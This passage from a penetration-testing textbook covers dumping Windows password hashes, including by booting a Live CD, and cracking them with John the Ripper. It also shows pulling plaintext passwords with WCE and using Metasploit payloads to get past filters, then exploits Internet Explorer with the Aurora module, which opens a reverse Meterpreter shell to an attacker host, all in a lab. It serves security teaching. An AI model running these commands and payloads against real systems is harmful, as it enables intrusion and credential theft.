Now compare these hashes to those found with the hashdump command in an active Meterpreter session from Listing 9-8. (A Meterpreter session with sufficient privileges can dump password hashes on the fly without requiring us to download the SAM and SYSTEM files.) Notice that our hash list in Listing 9-11 lacks entries for the users georgia or secret. What happened?
When using the Zervit directory traversal, we weren’t able to access the main SAM file at C:\Windows\System32\config and instead downloaded a backup from C:\Windows\repair\sam. These users must have been created
Password Attacks 205

after the SAM file backup was created. We do have a password hash for the
Administrator user, though. Though not complete or fully up-to-date, we may still be able to use cracked hashes from this backup SAM to log in to the systems. Now let’s look at another way to access password hashes.

Dumping Password Hashes with Physical Access
On some engagements, you’ll actually have physical access to user machines, with so-called physical attacks in scope. While having physical access may not appear very useful at first, you may be able to access the password hashes by restarting a system using a Linux Live CD to bypass security controls.
(We’ll use a Kali ISO image, though other Linux Live CDs such as Helix or Ubuntu will work. We used a prebuilt Kali virtual machine in Chapter 1.
To get a standalone ISO of Kali, go to http://www.kali.org.) When you boot a machine with a Live CD, you can mount the internal hard disk and gain access to all files, including the SAM and SYSTEM files. (When Windows boots, there are certain security controls in place to stop users from accessing the SAM file and dumping password hashes, but these aren’t active when the filesystem is loaded in Linux.)
Our Windows 7 virtual machine, with its solid external security posture, has been a bit neglected in these last few chapters. Let’s dump its hashes using a physical attack. First, we’ll point our virtual machine’s optical drive to a Kali ISO file, as shown in Figure 9-1 (for VMware Fusion). In VMware
Player, highlight your Windows 7 virtual machine, right-click it and choose
Settings, then choose CD/DVD (SATA) and point to the ISO in the Use
ISO Image field on the right side of the page.

Figure 9-1: Setting our Windows 7 virtual machine to boot from the Kali
ISO file

By default, VMware will boot up the virtual machine so quickly that it will be difficult to change the BIOS settings to boot from the CD/DVD drive instead of the hard disk. To fix this, we’ll add a line to the VMware configuration file (.vmx) to delay the boot process at the BIOS screen for a few seconds.

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1. On your host machine, browse to where you saved your virtual machines.
Then, in the folder for the Windows 7 target, find the .vmx configuration file, and open it in a text editor. The configuration file should look similar to Listing 9-12.
.encoding = "UTF-8" config.version = "8" virtualHW.version = "9" vcpu.hotadd = "TRUE" scsi0.present = "TRUE" scsi0.virtualDev = "lsilogic"
--snip-Listing 9-12: VMware configuration file (.vmx)

2. Add the line bios.bootdelay = 3000 anywhere in the file. This tells the virtual machine to delay booting for 3000 ms, or three seconds, enough time for us to change the boot options.
3. Save the .vmx file, and restart the Windows 7 target. Once you can access the BIOS, choose to boot from the CD drive. The virtual machine should start the Kali ISO. Even though we’re booted into Kali, we can mount the
Windows hard disk and access files, bypassing the security features of the Windows operating system.
Listing 9-13 shows how to mount the file system and dump the password hashes. root@kali:# umkdir -p /mnt/sda1 root@kali:# vmount /dev/sda1 /mnt/sda1 root@kali:# wcd /mnt/sda1/Windows/System32/config/ root@kali:/mnt/sda1/Windows/System32/config bkhive SYSTEM out root@kali:/mnt/sda1/Windows/System32/config samdump2 SAM out samdump2 1.1.1 by Objectif Securite http://www.objectif-securite.ch original author: ncuomo@studenti.unina.it
Root Key : CMI-CreateHive{899121E8-11D8-41B6-ACEB-301713D5ED8C}
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Georgia Weidman:1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b75B6c:::
Listing 9-13: Dumping Windows hashes with a Linux Live CD

We create a directory where we can mount our Windows filesystem with the mkdir command at u. Next, we use mount v to mount the Windows filesystem (/dev/sda1) in the newly created directory (/mnt/sda1), which means that the target’s C drive is effectively at /mnt/sda1. The SAM and SYSTEM files in Windows are in the C:\Windows\System32\config directory, so we change directories to /mnt/sda1/Windows/System32/config to access these files using

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cd w, at which point we can use Samdump2 and Bkhive against the SAM

and SYSTEM files without first saving these files and moving them to our
Kali system.
Once again we’ve managed to get access to password hashes. We now have hashes for our Windows XP target, our Windows 7 target, our Linux target, and the FileZilla FTP server on the Windows XP target.
Note

In Chapter 13, we’ll explore some tricks for using password hashes to authenticate without the need for access to the plaintext passwords, but usually, in order to use these hashes, we’ll need to reverse the cryptographic hash algorithms and get the plaintext passwords. The difficulty of this depends on the password-hashing algorithm used as well as the strength of the password used.

LM vs. NTLM Hashing Algorithms
Listing 9-14 compares the two password hash entries. The first one belongs to the Administrator account on Windows XP, which we found with hashdump in
Meterpreter, and the second is Georgia Weidman’s account from Windows 7, which we found with physical access in the previous section.
Administratoru:500v:e52cac67419a9a224a3b108f3fa6cb6dw:8846f7eaee8fb117ad06bdd830b7586cx
Georgia Weidmanu:1000v:aad3b435b51404eeaad3b435b51404eew:8846f7eaee8fb117ad06bdd830b7586cx
Listing 9-14: Dumping Windows hashes with a Linux Live CD

The first field in the hashes is the username u; the second is the user
ID v; the third is the password hash in LAN Manager (LM) format w; and the fourth is the NT LAN Manager (NTLM) hash x. LM Hash was the primary way to hash passwords on Microsoft Windows up to Windows NT, but it’s a cryptographically unsound method that makes it possible to discover the correct plaintext password for an LM hash, regardless of a password’s length and complexity. Microsoft introduced NTLM hashing to replace LM hash, but on Windows XP, passwords are stored in both LM and NTLM formats by default. (Windows 7 opts exclusively for the more secure NTLM hash.)
In the hashes in Listing 9-14, because both passwords are the string password, the NTLM hash entries for each account are identical, but the LM hash fields are different. The first entry has the value e52cac67419a9a224a3b108f3fa6cb6d, whereas the Windows 7 entry has aad3b435b51404eeaad3b435b51404ee, which is LM hash-speak for empty. The inclusion of the LM hash entry will make cracking the hashes much simpler. In fact, any LM-hashed password can be brute-forced in minutes to hours. In contrast, our ability to crack the NTLM hashes will depend on both our ability to guess and the length and complexity of the password.
If the hashing function is cryptographically sound, it could take years, decades, or more than your lifetime to try every possible password.

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The Trouble with LM Password Hashes
When you see LM hashes on a pentest, you can be sure that the plaintext password is recoverable from the password hash. However, one-way hash functions can’t be reversed. Complex math is used to develop algorithms that make it impossible to discover the original plaintext password value that was hashed, given the password hash. But we can run a plaintext password guess through the cryptographic hashing function and compare the results to the hash we’re trying to crack; if they’re the same, we’ve found the correct password. The following issues contribute to the insecurity of LM hashes:
•
•
•
•

Passwords are truncated at 14 characters.
Passwords are converted to all uppercase.
Passwords of fewer than 14 characters are null-padded to 14 characters.
The 14-character password is broken into two seven-character passwords that are hashed separately.

Why are these characteristics so significant? Say we start with a complex, strong password like this:
T3LF23!+?sRty$J

This password has 15 characters from four classes, including lowercase letters, uppercase letters, numbers, and symbols, and it’s not based on a dictionary word. However, in the LM hash algorithm, the password is truncated to 14 characters like this:
T3LF23!+?sRty$

Then the lowercase letters are changed to uppercase:
T3LF23!+?SRTY$

Next, the password is split into two seven-character parts. The two parts are then used as keys to encrypt the static string KGS!@#$% using the Data
Encryption Standard (DES) encryption algorithm:
T3LF23!

+?SRTY$

The resulting eight-character ciphertexts from the encryption are then concatenated to make the LM hash.
To crack an LM hash, we just need to find seven characters, all uppercase, with perhaps some numbers and symbols. Modern computing hardware can try every possible one- to seven-character combination, encrypt the string
KGS!@#$%, and compare the resulting hash to a given value in a matter of minutes to hours.

Password Attacks 209

John the Ripper
One of the more popular tools for cracking passwords is John the Ripper.
The default mode for John the Ripper is brute forcing. Because the set of possible plaintext passwords in LM hash is so limited, brute forcing is a viable method for cracking any LM hash in a reasonable amount of time, even with our Kali virtual machine, which has limited CPU power and memory.
For example, if we save the Windows XP hashes we gathered earlier in this chapter to a file called xphashes.txt, then feed them to John the
Ripper like this, we find that John the Ripper can run through the entire set of possible passwords and come up with the correct answer, as shown in
Listing 9-15. root@kali: john xphashes.txt
Warning: detected hash type "lm", but the string is also recognized as "nt"
Use the "--format=nt" option to force loading these as that type instead
Loaded 10 password hashes with no different salts (LM DES [128/128 BS SSE2])
(SUPPORT_388945a0)
PASSWOR
(secret:1)
(Guest)
PASSWOR
(georgia:1)
PASSWOR
(Administrator:1)
D
(georgia:2)
D
(Administrator:2)
D123
(secret:2)
Listing 9-15: Cracking LM hashes with John the Ripper

John the Ripper cracks the seven-character password hashes. In
Listing 9-15, we see that PASSWOR is the first half of the user secret’s password. Likewise, it’s the first half of the password for georgia and Administrator.
The second half of secret’s password is D123, and georgia and Administrator’s are D. Thus, the complete plaintext of the LM-hashed passwords are
PASSWORD for georgia and Administrator and PASSWORD123 for secret. The
LM hash doesn’t tell us the correct case for a password, and if you try logging in to the Windows XP machine as Administrator or georgia with the password PASSWORD or the account secret with PASSWORD123, you will get a login error because LM hash does not take into account the correct case of the letters in the password.
To find out the correct case of the password, we need to look at the fourth field of the NTLM hash. John the Ripper noted in the example in
Listing 9-15 that NTLM hashes were also present, and you can use the flag
--format=nt to force John the Ripper to use those hashes (we don’t have LM hashes for Windows 7, so we will have to crack Windows 7 passwords with a wordlist since brute forcing the NTLM hashes would likely take too long).
Cracking Windows NTLM hashes is nowhere near as easy as cracking
LM ones. Although a five-character NTLM password that uses only lowercase letters and no other complexity could be brute-forced as quickly as an LM hash, a 30-character NTLM password with lots of complexity could

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take many years to crack. Trying every possible character combination of any length, hashing it, and comparing it to a value could go on forever until we happened to stumble upon the correct value (only to find out that the user has since changed his or her password).
Instead of attempting to brute-force passwords, we can use wordlists containing known passwords, common passwords, dictionary words, combinations of dictionary words padded with numbers and symbols at the end, and so on. (We’ll see an example of using a wordlist with John the Ripper in “Cracking Linux Passwords” on page 212).

A Re a l-World E x a mple
Legacy password hashing once made all the difference on one of my pentests.
The domain controller was Windows Server 2008, with a strong security posture. The workstations throughout the enterprise were reasonably secure, too, having recently been upgraded to fully patched Windows 7 systems. There was, however, one promising light in the dark: a Windows 2000 box that was missing several security patches. I was able to quickly gain system privileges on the machine using Metasploit.
The trouble was that, while on paper, the penetration test was now a success, compromising the machine had gained me next to nothing. The system contained no sensitive files, and it was the only machine on this particular network, isolated from the new, updated Windows domain. It had all the trappings of a domain controller, except it had no clients. All of the other machines in the environment were members of the new Windows 2008 domain controller’s domain. Though technically I was now a domain administrator, I was no further along on the pentest than I was before I found the Windows 2000 machine.
Since this was the domain controller, the domain user password hashes were included locally. Windows 2000, like Windows XP, stored the LM hashes of passwords. The client’s old domain administrator password was strong; it had about 14 characters; included uppercase letters, lowercase letters, numbers, and symbols; and was not based on a dictionary word. Fortunately, because it was LM hashed, I was able to get the password back in a matter of minutes.
What do you think the domain administrator’s password was on the new domain? You guessed it. It was the same as the domain administrator’s password on the old domain. The Windows 2000 box had not been used in over six months, but it was still running, and it used an insecure hashing algorithm. Also, the client wasn’t changing their passwords regularly. These two things combined to bring down what was otherwise a strong security posture. I was able to access every system in the environment just by logging in with the domain administrator password I found on the compromised Windows 2000 system. Password Attacks 211

Cracking Linux Passwords
We can also use John the Ripper against the Linux password hashes we dumped after exploiting the Vsftpd server backdoor in Chapter 8, as shown in Listing 9-16. root@kali# cat linuxpasswords.txt georgia:$1$CNp3mty6$lRWcT0/PVYpDKwyaWWkSg/:15640:0:99999:7::: root@kali# johnlinuxpasswords.txt --wordlist=passwordfile.txt
Loaded 1 password hash (FreeBSD MD5 [128/128 SSE2 intrinsics 4x]) password (georgia) guesses: 1 time: 0:00:00:00 DONE (Sun Jan 11 05:05:31 2015) c/s: 100 trying: password - Password123
Listing 9-16: Cracking Linux hashes with John the Ripper

User georgia has an MD5 hash (we can tell from the $1$ at the beginning of the password hash). MD5 can’t be brute-forced in a reasonable amount of time. Instead, we use a wordlist with the --wordlist option in John the Ripper.
John the Ripper’s success at cracking the password depends on the inclusion of the correct password in our wordlist.

M a ngling Wordlis t s w ith John the Rippe r
When required by a password policy to include a number and/or a symbol in a password, many users will just tack them on to the end of a dictionary word.
Using John the Ripper’s rules functionality, we can catch this and other common mutations that may slip by a simple wordlist. Open the John the Ripper configuration file at /etc/john/john.conf in an editor and search for List.Rules:Wordlist.
Beneath this heading, you can add mangling rules for the wordlist. For example, the rule $[0-9]$[0-9]$[0-9] will add three numbers to the end of each word in the wordlist. You can enable rules in John the Ripper by using the flag
--rules at the command line. More information on writing your own rules can be found at http://www.openwall.com/john/doc/RULES.shtml.

Cracking Configuration File Passwords
Finally, let’s try to crack the MD5 hashed passwords we found in the
FileZilla FTP server configuration file we downloaded with the Zervit 0.4 file inclusion vulnerability. As you’ll see, sometimes we don’t even need to crack a password hash. For example, try entering the hash for the user georgia, 5f4dcc3b5aa765d61d8327deb882cf99, into a search engine. The first few hits confirm that georgia’s password is password. Additionally, searching tells us that the account newuser is created when a FileZilla FTP server is installed with the password wampp.
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Now try logging in to the Windows XP target’s FTP server with these credentials. Sure enough, login is successful. The administrator of this system forgot to change the default password for the built-in FTP account.
If we were not able to recover the plaintext passwords this easily, we could again use John the Ripper with a wordlist, as discussed previously.

Rainbow Tables
Rather than taking a wordlist, hashing each entry with the relevant algorithm, and comparing the resulting hash to the value to be cracked, we can speed up this process considerably by having our wordlist prehashed.
This, of course, will take storage space—more with longer hash lists, and approaching infinity as we try to store every possible password hash value for brute forcing.
A set of precomputed hashes is known as a rainbow table. Rainbow tables typically hold every possible hash entry for a given algorithm up to a certain length with a limited character set. For example, you may have a rainbow table for MD5 hashes that contains all entries that are all lowercase letters and numbers with lengths between one and nine. This table is about 80 GB— not so bad with today’s price of storage, but keep in mind this is only a very limited amount of the possible keyspace for MD5.
Given its limited keyspace (discussed previously), an LM hash appears to be an ideal candidate for using rainbow tables. A full set of LM hash rainbow tables is about 32 GB.
You can download pregenerated sets of hashes from http://project
-rainbowcrack.com/table.htm. The tool Rcrack in Kali can be used to sift through the rainbow tables for the correct plaintext.

Online Password-Cracking Services
The current hip thing to do in IT is to move things to the cloud, and password cracking is no different. By leveraging multiple high-spec machines, you can get faster, more comprehensive results than you could with just a virtual machine on your laptop. You can, of course, set up up your own high-powered machines in the cloud, create your own wordlists, and so on, but there are also online services that will take care of this for you for a fee. For example, https://www.cloudcracker.com/ can crack NTLM Windows hashes, SHA-512 for Linux, WPA2 handshakes for wireless, and more. You simply upload your password hash file, and the cracker does the rest.

Dumping Plaintext Passwords from Memory with
Windows Credential Editor
Why bother cracking password hashes if we can get access to plaintext passwords? If we have access to a Windows system, in some cases we can pull plaintext passwords directly from memory. One tool with this functionality is the Windows Credential Editor (WCE). We can upload this tool to an exploited target system, and it will pull plaintext passwords from the Local
Password Attacks 213

Security Authority Subsystem Service (LSASS) process in charge of enforcing the system’s security policy. You can download the latest version of WCE from http://www.ampliasecurity.com/research/wcefaq.html. An example of running
WCE is shown in Listing 9-17.
C:\>wce.exe -w wce.exe -w
WCE v1.42beta (Windows Credentials Editor) - (c) 2010-2013 Amplia Security - by Hernan Ochoa
(hernan@ampliasecurity.com)
Use -h for help. georgia\BOOKXP:password Listing 9-17: Running WCE

Here WCE found the plaintext of the user georgia’s password. The downside to this attack is that it requires a logged-in user for the password to be stored in memory. Even if you were able to get a plaintext password or two with this method, it is still worth dumping and attempting to crack any password hashes you can access.

Summary
Reversing password hashes is an exciting field, and as the speed of hardware increases, it becomes possible to crack stronger hashes faster. Using multiple CPUs and even the graphics processing units (GPUs) on video cards, password crackers can try many hashes very quickly. Our virtual machines don’t have much processing power, but even your average modern laptop is much faster than the machines that were used for password cracking just a few short years ago. The cutting edge of password cracking these days is taking to the cloud and harnessing multiple top-spec cloud servers for cracking. You’ll even find some cloud-based password-cracking services.
As you’ve seen in this chapter, using information gathered from successful exploits in Chapter 8, we’ve managed to reverse password hashes to recover plaintext passwords for some services and the systems themselves.
Having managed to get a foothold on the systems, let’s look at some advanced attack methods that can help us if we can’t find anything vulnerable when listening on the network. We still have the Windows 7 machine to exploit, after all.

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10

C l i e n t- S i d e E x p l o i t a t i o n

The vulnerabilities we’ve studied so far have been low-hanging fruit, and all have come up on real engagements. It’s common on penetration tests to find vulnerable services listening on ports, unchanged default passwords, misconfigured web servers, and so on.
However, clients who put a lot of time and effort into their security posture may be free from these kinds of vulnerabilities. They may have all security patches in place; they may periodically audit passwords and remove any that can be easily guessed or cracked. They may control user roles: Regular users may not have administrative rights on their workstations, and any software that is installed is investigated and maintained by the security staff. As a result, there may not be many services to even try to attack.
Yet, despite the deployment of the latest and greatest security technologies and the employment of crack security teams, high-profile companies
(with potentially high payoffs for attackers) are still being breached. In this

chapter we’ll examine a few different kinds of attacks that don’t require direct network access. We’ll study attacks that target local software on a system—software that is not listening on a port.
Because we won’t attack a computer or listening port directly, and because we need to come up with another way to attack a device inside a corporate perimeter, we need to select our payload accordingly. Whereas a normal bind shell might work fine for systems directly exposed to the
Internet or listening on a port on our local network, we will at the very least be limited to reverse connections here.
But first let’s dive a little deeper into the Metasploit payload system and check out some other payloads that may be useful to you.

Bypassing Filters with Metasploit Payloads
In previous chapters we discussed the Metasploit payload system, including single versus staged payloads and bind shells versus reverse shells. We also talked briefly about Metasploit’s Meterpreter payload (which we’ll discuss in depth in Chapter 13). When you use the command show payloads on a module, you may see several payloads that may be new to you. We’ll look at a few in this section that can be used to bypass filtering technologies you may encounter on your pentests.

All Ports
Our network is set up such that our attack and target virtual machines are on the same network with no firewalls or other filters blocking communications. However, in your pentesting career, you may encounter clients with all sorts of filtering setups. Even a reverse connection may not be able to get through the filters and connect back to your attack machine on just any port. For example, a client network may not allow traffic to leave the network on port 4444, the default for Metasploit reverse_tcp payloads. It may allow traffic out only on specific ports, such as 80 or 443 for web traffic.
If we know which ports are allowed through the filter, we can set the
LPORT option to the relevant port. The Metasploit reverse_tcp_allports payloads can help us find a port to connect to. As the name suggests, this payload communication method will try all ports until it finds a successful connection back to Metasploit.
Let’s test this functionality with the windows/shell/reverse_tcp_allports payload, as shown in Listing 10-1. We are using the MS08-067 exploit against
Windows XP. msf exploit(ms08_067_netapi) > set payload windows/shell/reverse_tcp_allports payload => windows/shell/reverse_tcp_allports msf exploit(ms08_067_netapi) > show options
--snip-Payload options (windows/shell/reverse_tcp_allports):

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Name
Current Setting
-----------------EXITFUNC thread
LHOST
192.168.20.9 uLPORT 1
--snip-msf exploit(ms08_067_netapi)

Required
-------yes
yes yes Description
----------Exit technique: seh, thread, process, none
The listen address
The starting port number to connect back on

> exploit

[*] Started reverse handler on 192.168.20.9:1
--snip-[*] Sending encoded stage (267 bytes) to 192.168.20.10
[*] Command shell session 5 opened (192.168.20.9:1 -> 192.168.20.10:1100) at 2015-05-14
22:13:20 -0400 v
Listing 10-1: Windows/shell/reverse_tcp_allports payload

Here, the LPORT u option specifies the first port to try. If that port doesn’t work, the payload will try each subsequent port until the connection succeeds. If the payload reaches 65535 without success, it starts trying again at port 1 and runs infinitely.
Because there is no filter blocking our traffic, the first port Metasploit tries, port 1, creates a successful connection, as shown at v. Though this payload will work in many cases, some filtering technologies will be able to stop it regardless of the port it tries to connect to. One downside to this payload is that it may run for a long time in an attempt to find an unfiltered port. If a user sees the application hanging, he or she may close it before the payload is successful.

HTTP and HTTPS Payloads
While some filters may allow all traffic out on certain ports, the most advanced filtering systems use content inspection to screen for legitimate protocol-specific traffic. This can pose a problem for our payloads. Even though our Meterpreter payload communication is encrypted—the content inspection won’t be able to say, “That’s Metasploit, go away!”—the filter will be able to tell that the traffic going out on port 80 doesn’t meet the HTTP specification. To address this challenge, the developers of Metasploit created HTTP and HTTPS payloads. These payloads follow the HTTP and HTTPS specifications so that even content-inspection filters will be convinced that our traffic is legitimate. Also, these payloads are packet based, rather than stream based like the TCP payloads. That means they aren’t limited to a specific connection. If you lose network communication briefly and lose all your Metasploit sessions, HTTP and HTTPS sessions can recover and reconnect. (We’ll see an example using these payloads in “Java Vulnerability” on page 230.)

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Though HTTP and HTTPS payloads will get you through most filtering technologies, you may find yourself in an even more complex filtering situation. For example, I tested one client where only the Internet Explorer process, when started by a domain-authenticated user, could reach the
Internet. Employees could browse the Internet to perform their business, but they were somewhat limited. For instance, they couldn’t use an instant messenger client. While this probably annoyed some employees, it was a good idea for security reasons. Even if we had been able to successfully exploit something, even HTTP and HTTPS payloads could not get out to the Internet. (In “Browser Exploitation” on page 219, we’ll look at some attack methods that would allow us to exploit the Internet Explorer process when a legitimate domain user is logged in and then connect to the outside world.) Meterpreter HTTP and Meterpreter HTTPS use the proxy settings of Internet Explorer to navigate any proxies necessary to call out to the
Internet. For this reason, if your target process is running as the System user, these proxy settings may not be defined, and these payloads may fail.
Note

There is also a Meterpreter payload, reverse_https_proxy, that allows the attacker to manually add in any necessary proxy settings.

Client-Side Attacks
Now let’s turn our attention to running client-side attacks. Instead of directly attacking a service listening on a port, we’ll create a variety of malicious files that, when opened in vulnerable software on the target machine, will result in a compromise.
So far all of our attacks have involved some sort of service listening on a port, be it a web server, FTP server, SMB server, or otherwise. When we began our pentest, one of the first things we did was port scan our targets to see which services were listening. When we start a pentest, the potential vulnerabilities are practically limitless.
As we begin running tools, performing manual analysis, and researching, the exploitation possibilities gradually decrease until we’re left with a limited number of issues on the target systems. Those issues have been server-side issues—services listening on ports. What we are missing is any potentially vulnerable software that is not listening on a port—client-side software. Software like web browsers, document viewers, music players, and so on are subject to the same sort of issues as web servers, mail servers, and every other network-based program.

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Of course, because client-side software isn’t listening on the network, we can’t directly attack it, but the general principle is the same. If we can send unexpected input to a program to trigger a vulnerability, we can hijack execution, just as we exploited server-side programs in Chapter 8.
Because we can’t send input to client-side programs directly over the network, we must entice a user to open a malicious file.
As security is taken more seriously and server-side vulnerabilities become more difficult to find from an Internet-facing perspective, client-side exploitation is becoming key to gaining access to even carefully protected internal networks. Client-side attacks are ideal for assets such as workstations or mobile devices that lack an Internet-facing IP address. Though from the perspective of the Internet we can’t directly access those systems, they can typically call out to the Internet, or to a pentester-controlled system, if we can hijack execution.
Unfortunately, the success of client-side attacks relies on somehow making sure that our exploit is downloaded and opened in a vulnerable product. In the next chapter, we’ll look at some techniques to lure users into opening malicious files; for now we’ll look at some client-side exploits, beginning with what must be the most popular target for client-side exploitation: web browsers.

Browser Exploitation
Web browsers are made up of code to render web pages. Just as we can send malformed input to server software, if we open a web page with malicious code to trigger a security issue, we can potentially hijack execution in the browser and execute a payload. Though the delivery is a bit different, the fundamental concept is the same. All of the most common browsers have been subject to security issues—Internet Explorer, Firefox, and even Mobile Safari.

iPhone J a ilbre a king v i a Brow se r E x ploitat ion
In the past, browser exploitation has been instrumental in iPhone jailbreaking. While later versions of iOS implement a security feature called mandatory code signing, which requires that all executed code be approved by Apple,
Mobile Safari (the web browser on the iPhone) gets a pass because to render web pages, it must be able to run unsigned code. Apple can’t go through all the pages on the Internet and sign everything that doesn’t contain malicious code.
And if the iPhone can’t view web pages, everyone will just go buy an Android phone—the last thing Apple wants. When iOS 4 renders PDF documents in
Mobile Safari, one of the fonts includes a security vulnerability. This client-side attack allows jailbreakers to gain a foothold on iPhones just by tricking a user into opening a malicious link in the browser.

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Let’s consider a famous vulnerability in Internet Explorer. The Aurora exploit was used in 2010 against major companies such as Google, Adobe, and Yahoo!. At the time of the Aurora attacks, Internet Explorer contained a zero-day vulnerability—that is, a vulnerability that had not yet been patched.
(Even a fully updated version of Internet Explorer could be compromised if a user could be tricked into opening a malicious web page, triggering the vulnerability.) Microsoft has released patches for Internet Explorer, but as with other security patches, users sometimes overlook updating their browsers, and the version of Internet Explorer installed on the Windows XP target doesn’t have the necessary security patch to protect against the Aurora exploit.
We’ll use Metasploit to take control of a target machine by attacking a vulnerable browser using the Aurora Metasploit module, exploit/windows/ browser/ms10_002_aurora, shown in Listing 10-2.
Note

Client-side Metasploit modules are fundamentally the same as the server-side modules we have used so far, except that the options are a bit different: Instead of sending exploits to a remote host on the network, we set up a server and wait for a browser to access our page.

msf > use exploit/windows/browser/ms10_002_aurora msf exploit(ms10_002_aurora) > show options
Module options (exploit/windows/browser/ms10_002_aurora):
Name
---uSRVHOST

Current Setting
--------------0.0.0.0

Required
-------yes

vSRVPORT wSSL SSLCert

8080 false yes no no

SSL3

no

SSLVersion xURIPATH no

Description
----------The local host to listen on. This must be an address on the local machine or 0.0.0.0
The local port to listen on.
Negotiate SSL for incoming connections
Path to a custom SSL certificate (default is randomly generated) Specify the version of SSL that should be used
(accepted: SSL2, SSL3, TLS1)
The URI to use for this exploit (default is random)

Exploit target:
Id
-y0

Name
---Automatic

Listing 10-2: Internet Explorer Aurora Metasploit module

Notice in the options for the module that instead of RHOST we see the
SRVHOST u option. This is the local IP address for the server. By default this address is set to 0.0.0.0 to listen on all addresses on the local system. The

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default port to listen on, the SRVPORT v option, is 8080. You can change this port number to 80 (the default port for web servers) as long as no other program is using the port. You can even use an SSL connection w.
If we set the URIPATH x option, we can specify a specific URL for the malicious page. If we don’t set anything here, a random URL will be used.
Because the exploitation will take place entirely inside the browser, our exploit will work regardless of the version of Windows running y, as long as Internet Explorer is subject to the Aurora vulnerability.
Next we set the module options for our environment. The payloads for this module are the same as the Windows payloads we’ve already seen.
Exploiting the browser is no different from exploiting any other program on the system, and we can run the same shellcode. We’ll use the windows/ meterpreter/reverse_tcp payload for this example to illustrate some client-side attack concepts, as shown in Listing 10-3.
Note

Make sure the apache2 web server is not running on port 80 with service apache2 stop. msf exploit(ms10_002_aurora) > set SRVHOST 192.168.20.9
SRVHOST => 192.168.20.9 msf exploit(ms10_002_aurora) > set SRVPORT 80
SRVPORT => 80 msf exploit(ms10_002_aurora) > set URIPATH aurora
URIPATH => aurora msf exploit(ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(ms10_002_aurora) > set LHOST 192.168.20.9
LHOST => 192.168.20.9 msf exploit(ms10_002_aurora) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.20.9:4444 u
[*] Using URL: http://192.168.20.9:80/aurora v
[*] Server started.
Listing 10-3: Setting options and launching the Aurora module

As you can see in Listing 10-3, once we’ve set the options and run the module, a web server is started in the background on the selected SRVPORT at the selected URIPATH as shown at v. Additionally, a handler is set up for the selected payload u.
Now we’ll use Internet Explorer on the Windows XP target to browse to the malicious site. In Metasploit you should see that the page has been served and is attempting to exploit the vulnerability, as shown in Listing 10-4.
Although our Windows XP browser is vulnerable, it may take a couple tries to exploit the browser successfully.
Exploiting the Aurora vulnerability is not as reliable as exploiting the other vulnerabilities we’ve discussed so far in this book. If Internet Explorer crashes, but you do not receive a session, try browsing to the exploit page again. Client-Side Exploitation 221

msf exploit(ms10_002_aurora) > [*] 192.168.20.10 ms10_002_aurora Sending Internet Explorer "Aurora" Memory Corruption
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 1 opened (192.168.20.9:4444 -> 192.168.20.10:1376) at
2015-05-05 20:23:25 -0400 u
Listing 10-4: Receiving a client-side session

Though this exploit may not work every time, the target browser is vulnerable and a couple of tries should do it. If the exploit succeeds, you will receive a session, as shown at u. We are not automatically dropped into the session. Use sessions -i <session id> to interact with the Meterpreter session.
Though we have successfully exploited the browser and gained a foothold on the target system, our challenges are not over. If you look back at the
Windows XP machine and try to continue using Internet Explorer, you’ll find that it’s no longer functioning. The exploitation involved in getting our session has made the browser unusable. The problem for us is that users who have been tricked into visiting our malicious site will naturally want to continue using their browsers. They may force-quit the browser, or the browser may crash on its own due to its unstable state. When the browser closes, we lose our Meterpreter session. msf exploit(ms10_002_aurora) > [*] 192.168.20.10 - Meterpreter session 1 closed. Reason: Diedu

Our Meterpreter payload resides entirely inside the memory of the exploited process. If the browser dies or is closed by the user, our session also dies, as you can see at u. We can lose our foothold on the system just as quickly as we gained it.
We need a way to keep our Meterpreter session alive, even if the exploited process—in this case, the Internet Explorer browser—dies. But first, we need to stop our Metasploit web server so we can make some changes to the malicious page to fix this problem, as shown in Listing 10-5. msf exploit(ms10_002_aurora) > jobsu

Jobs
====
Id
-0

Name
---Exploit: windows/browser/ms10_002_aurora

msf exploit(ms10_002_aurora) > kill 0v
Stopping job: 0...
[*] Server stopped.
Listing 10-5: Killing a background job in Metasploit

We can see everything running in the background in Metasploit by entering jobs u. To stop a job running in the background, enter kill <job number> v.
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Because Meterpreter lives entirely inside the memory of the exploited process and that process is doomed to die, we need some way to move our session out of the Internet Explorer process and into one that is more likely to stick around.
Running Scripts in a Meterpreter Session
Unlike network attacks, where we will see a session right away if our attack succeeds, when performing client-side attacks, we must wait until a user accesses our malicious page. Even if we find a way to move Meterpreter into another process, sessions could come in at any time. We can’t be distracted at any point during our pentest or we risk losing a session. It would be ideal if we could automatically run commands in our Meterpreter session so that we don’t have to sit idly, waiting for a browser to access our malicious server.
Meterpreter scripts that can be run in an open session can be found at
/usr/share/metasploit-framework/scripts/meterpreter in Kali. We’ll look at more examples of Meterpreter scripts in Chapter 13, but for now let’s look at one specific Meterpreter script that will work well with our current scenario. The script migrate.rb allows us to move Meterpreter from the memory of one process to another, which is exactly what we need here. To run a Meterpreter script inside an active Meterpreter session, enter run <script name>, as shown in Listing 10-6. You may be presented with help information about how to use the script correctly, as we are shown here. meterpreter > run migrate
OPTIONS:
-f
-h
-k
-n <opt>
-p <opt>

Launch a process and migrate into the new process u
Help menu.
Kill original process.
Migrate into the first process with this executable name (explorer.exe) v
PID to migrate to. w

Listing 10-6: Running a Meterpreter script

When we attempt to run the migrate script, we see a few options. We can launch a new process and migrate into that process, as shown at u; migrate into a process with a given name v; or choose the process by process ID, as shown at w.
Advanced Parameters
In addition to the module and payload options, Metasploit modules have advanced parameters. We can see the available advanced parameters with the command show advanced, as shown in Listing 10-7. msf exploit(ms10_002_aurora) > show advanced

Module advanced options:

Client-Side Exploitation 223

Name
: ContextInformationFile
Current Setting:
Description
: The information file that contains context information
--snip-Name
: AutoRunScriptu
Current Setting:
Description
: A script to run automatically on session creation.
--snip-Name
: WORKSPACE
Current Setting:
Description
: Specify the workspace for this module
Listing 10-7: Metasploit advanced parameters

One of the advanced settings for our chosen payload is AutoRunScript u.
When set, this setting will allow us to automatically run a Meterpreter script when a session opens.
